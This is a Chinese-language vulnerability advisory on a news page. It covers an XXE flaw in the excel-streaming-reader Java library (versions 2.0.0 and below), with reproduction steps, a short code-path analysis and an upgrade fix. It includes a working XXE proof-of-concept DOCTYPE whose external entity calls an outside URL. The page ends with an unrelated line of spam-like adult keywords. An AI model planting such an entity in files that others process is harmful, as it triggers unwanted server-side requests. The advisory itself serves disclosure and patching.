新聞詳情

excel-streaming-reader XXE漏洞

漏洞描述

Apache POI是Apache軟件基金會的開放源碼程序庫,POI提供API給Java程序對Microsoft Office格式檔案讀和寫的功能。對于 excel 讀取,經常在讀取某些特別大的 excel 文件的時候都會帶來一個內存溢出的問題,而excel-streaming-reader就是為了解決該場景導致的一系列問題,它可以流式的讀取 xlsx 文件,將一些特別大的文件拆分成小的文件去讀。


漏洞復現過程

編寫利用excel-streaming-reader讀取xlsx的代碼,如下圖所示

1.jpg

2.jpg


將xlsx文件用rar打開,找到workbook.xml,在xml文件中加入XXE漏洞POC


<!DOCTYPE root[

<!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa">

%d;]>

3.jpg


執行讀取該xlsx文件,即會執行xml文件中的命令

4.jpg



漏洞分析

com.monitorjbl.xlsx.StreamingReader.Builder.open(InputStream)方法時會對workbook進行初始化

5.jpg

在com.monitorjbl.xlsx.impl.StreamingWorkbookReader.init(File)方法中,會將workbook.xml內容傳入document()方法中

6.jpg



而document()方法未對xxe漏洞進行防御,從而導致了XXE漏洞。


7.jpg


受影響版本

2.0.0版本及以下版本


修復方式

1.直接更新至最新版本(2.1.0)

<dependency>

                    <groupId>com.monitorjbl</groupId>

                    <artifactId>xlsx-streamer</artifactId>

                    <version>2.1.0</version>

            </dependency>

-


 

 

 

 

 

日本在高清av手机_欧美大色大av高清_日本视频免费高清一本18